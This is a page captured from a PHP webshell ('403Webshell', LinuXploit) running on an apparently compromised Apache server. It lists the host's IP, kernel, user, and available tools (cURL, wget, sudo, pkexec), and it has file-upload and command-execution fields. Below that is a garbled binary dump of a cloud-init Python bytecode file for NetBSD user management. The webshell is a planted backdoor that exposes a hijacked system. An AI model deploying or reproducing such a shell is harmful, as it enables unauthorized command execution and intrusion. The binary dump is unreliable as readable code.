403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/distros/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/distros/__pycache__/netbsd.cpython-36.pyc
3

��b��@spddlZddlZddlZddlZddlmZddlmZmZej	e
�ZGdd�dejj
j�ZGdd�de�ZdS)�N)�log)�subp�utilcs~eZdZdZdZdgZ�fdd�Zdd�Zdd	�Zddd�Z	d
d�Z
dd�Zdd�Zddd�Z
dd�Zdd�Zdd�Z�ZS)�NetBSDzS
    Distro subclass for NetBSD.

    (N.B. OpenBSD inherits from this class.)
    z*/usr/pkg/etc/sudoers.d/90-cloud-init-usersZgroupaddcsdt�j|||�tjjd�rNdddg|_dddg|_dddg|_dddg|_ndd	g|_d
g|_dS)Nz/usr/pkg/bin/pkginZpkginz-yZinstall�remove�updatezfull-upgradeZpkg_addz-UZ
pkg_delete)	�super�__init__�os�path�existsZpkg_cmd_install_prefixZpkg_cmd_remove_prefixZpkg_cmd_update_prefixZpkg_cmd_upgrade_prefix)�self�nameZcfg�paths)�	__class__��/usr/lib/python3.6/netbsd.pyr	s
zNetBSD.__init__cCsdd||gS)N�usermodz-Gr)r
�member_nameZ
group_namerrr�_get_add_member_to_group_cmd%sz#NetBSD._get_add_member_to_group_cmdc

KsRtj|�rtjd|�dSdg}dg}dddddd	�}d
ddd
�}xf|j�D]Z\}}||kr~|r~t|t�r~|j|||g�qL||krL|rL|j||�|j||�qLWd|ks�d|kr�|dg7}|dg7}||g7}||g7}tjd|�yt	j	||d�Wn&t
k
�r&tjtd|��YnX|jdd�}	|	dk	�rN|j
||	dd�dS)Nz!User %s already exists, skipping.FZuseraddz-dz-cz-gz-Gz-s)ZhomedirZgecosZ
primary_group�groups�shellz--no-user-groupz--systemz
--no-log-init)Z
no_user_group�systemZno_log_initZno_create_homerz-mzAdding user %s)Z	logstringzFailed to create user %s�passwdT)�hashed)rZis_user�LOG�info�items�
isinstance�str�extend�appendr�	Exception�logexc�get�
set_passwd)
r
r�kwargsZadduser_cmdZlog_adduser_cmdZadduser_optsZ
adduser_flags�key�valZ
passwd_valrrr�add_user(sB





zNetBSD.add_userFcCs�|r
|}n2ttd�s$tjd|�dStj}tj|tj|��}ytjdd||g�Wn$tk
rvtj	td|��YnX|j
|�dS)N�METHOD_BLOWFISHzICannot set non-encrypted password for user %s. Python >= 3.7 is required.rz-pzFailed to set password for %s)�hasattr�cryptr�errorr*Zmksaltrr"rr#�
unlock_passwd)r
�userrrZ	hashed_pw�methodrrrr%Ys
zNetBSD.set_passwdcCs>ytjdd|g�Wn$tk
r8tjtd|��YnXdS)Nrz-Fz"Failed to set pw expiration for %s)rr"rr#r)r
r/rrr�force_passwd_changeps
zNetBSD.force_passwd_changecCs@ytjddd|g�Wn$tk
r:tjtd|��YnXdS)Nrz-C�yeszFailed to lock user %s)rr"rr#r)r
rrrr�lock_passwdws
zNetBSD.lock_passwdcCs@ytjddd|g�Wn$tk
r:tjtd|��YnXdS)Nrz-C�nozFailed to unlock user %s)rr"rr#r)r
rrrrr.~s
zNetBSD.unlock_passwdNcCstjd�dS)NzCannot set the locale.)r�debug)r
ZlocaleZout_fnrrr�apply_locale�szNetBSD.apply_localecCstjd�dS)Nz'NetBSD cannot rename network interface.)rr5)r
Z	netconfigrrr�apply_network_config_names�sz!NetBSD.apply_network_config_namescCs.tj�}tj�}tjj�}d||f|d<|S)z9Return env vars used in NetBSD package_command operationsz:http://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/%s/%s/AllZPKG_PATH)�platform�release�machiner
�environ�copy)r
Z
os_releaseZos_arch�errr�_get_pkg_cmd_environ�s
zNetBSD._get_pkg_cmd_environcCsdS)Nr)r
rrr�update_package_sources�szNetBSD.update_package_sources)F)N)�__name__�
__module__�__qualname__�__doc__Z
ci_sudoers_fnZgroup_add_cmd_prefixr	rr)r%r1r3r.r6r7r>r?�
__classcell__rr)rrrs1


rc@seZdZdS)�DistroN)r@rArBrrrrrE�srE)r,r
r8Zcloudinit.distros.bsdZ	cloudinitrZloggingrrZ	getLoggerr@rZdistrosZbsdZBSDrrErrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit